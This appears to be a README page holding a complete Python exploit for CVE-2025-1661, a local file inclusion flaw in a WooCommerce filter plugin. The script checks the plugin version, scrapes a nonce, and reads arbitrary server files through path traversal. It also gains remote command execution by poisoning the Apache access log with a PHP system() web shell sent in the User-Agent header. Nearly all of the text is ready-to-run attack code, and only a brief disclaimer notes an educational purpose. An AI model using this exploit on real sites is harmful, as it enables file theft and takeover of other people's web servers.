README.md
Rendering markdown...
# CVE-2025-1661
# HUSKY – Products Filter Professional for WooCommerce - Local File Inclusion Exploit
# by Secragon
# PoC for educational/research purposes only
# Use it at your own risk!
import re
import sys
import urllib3
import requests
import argparse
from bs4 import BeautifulSoup
from colorama import init, Fore, Style
from urllib.parse import urljoin, urlparse
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check_version(target):
print("Site version: ", end='')
try:
r = requests.get(f"{target}/wp-content/plugins/woocommerce-products-filter/readme.txt", verify=False)
ver = re.search(r"Stable tag: (.*)", r.text).groups()[0]
except:
print(Fore.RED + f'error...')
exit()
ver = ver.strip()
if int(ver.replace('.','')) < 1366:
print(Fore.GREEN + f'{ver} - vulnerable!')
else:
print(Fore.RED + f'{ver} - not vulnerable!')
exit()
def find_woof_nonce(site_url, session):
visited = set()
check_header = {
"User-Agent": "Secragon Offensive Agent"
}
def extract_nonce(url):
try:
response = session.get(url, timeout=10, headers=check_header)
if response.status_code != 200:
return None
soup = BeautifulSoup(response.text, 'html.parser')
input_tag = soup.find("input", {"class": "woof_text_search_nonce"})
if input_tag and input_tag.has_attr("value"):
return input_tag["value"]
except requests.RequestException:
return None
nonce = extract_nonce(site_url)
if nonce:
print(site_url)
return nonce
try:
response = session.get(site_url, timeout=10)
if response.status_code != 200:
return None
soup = BeautifulSoup(response.text, 'html.parser')
base_domain = urlparse(site_url).netloc
for link in soup.find_all("a", href=True):
link_url = urljoin(site_url, link["href"])
parsed_url = urlparse(link_url)
if parsed_url.netloc == base_domain and link_url not in visited:
visited.add(link_url)
nonce = extract_nonce(link_url)
if nonce:
return nonce
except requests.RequestException:
return None
return None
def exploit_rce(session, target, nonce, cmd):
url = f"{target}/wp-admin/admin-ajax.php"
data = {
"woof_text_search_nonce": nonce,
"action": "woof_text_search",
"value": "product",
"template": "../../../../../../../../../../../../var/log/apache2/access.log"
}
payload = {
"User-Agent": "Secragon CMD:<?php system($_GET['cmd']); ?>"
}
try:
print("Checking for log poisoning: ", end="")
response = session.post(f"{url}?cmd=true", data=data, timeout=10)
if response.status_code == 200:
if "Secragon Offensive Agent" in response.text:
print(Fore.GREEN + "ok!")
if not "Secragon CMD:" in response.text:
print("Exploiting: ", end="")
response = session.post(url, data=data, timeout=10, headers=payload)
print(Fore.GREEN + "done.")
print(f"Executing command: {cmd}")
print()
response = session.post(f"{url}?cmd={cmd}", data=data, timeout=10)
match = re.search(r'Secragon CMD:(.*?)\\n\\\"', response.text, re.DOTALL)
print(match.group(1).strip().replace('\\n', '\n'))
else:
print(Fore.RED + f"nope.")
except requests.RequestException as e:
print(f"Error sending request: {e}")
def exploit_lfi(session, target, nonce, file):
url = f"{target}/wp-admin/admin-ajax.php"
data = {
"woof_text_search_nonce": nonce,
"action": "woof_text_search",
"value": "product",
"template": f"../../../../../../../../../../../..{file}"
}
payload = {
"User-Agent": "Secragon Offensive Agent"
}
try:
print(f"Reading file: {file}")
response = session.post(f"{url}?cmd=true", data=data, timeout=10)
if response.status_code == 200:
match = re.search(r'\"options\":\[\"(.*?)\"],\"pagination\"', response.text, re.DOTALL)
print(match.group(1).strip().replace('\\n', '\n').replace('\\/', '/'))
except requests.RequestException as e:
print(f"Error sending request: {e}")
init(autoreset=True)
print()
print(Fore.BLUE + "\t\t --- HUSKY – Products Filter Professional for WooCommerce exploit ---")
print(Fore.BLUE + "\t\t\t\t\t (remote code execution)")
print(Fore.RED + "\t\t\t\t\t\t\t by gbrsh@secragon & gnomer0x@secragon")
parser = argparse.ArgumentParser()
parser.add_argument('url', help='http://wphost')
parser.add_argument('-c', '--cmd', required=False, help="command to execute")
parser.add_argument('-f', '--file', required=False, help="file to read")
if len(sys.argv) == 1:
parser.print_help()
print()
exit()
args = parser.parse_args()
check_version(args.url)
session = requests.Session()
for cookie in session.cookies:
print(f"{cookie.name} = {cookie.value}")
print("Searching for nonce: ", end='')
nonce = find_woof_nonce(args.url, session)
if nonce:
print(Fore.GREEN + f'{nonce}')
else:
print(Fore.RED + f'none :/')
exit()
if args.cmd:
exploit_rce(session, args.url, nonce, args.cmd)
else:
exploit_lfi(session, args.url, nonce, args.file)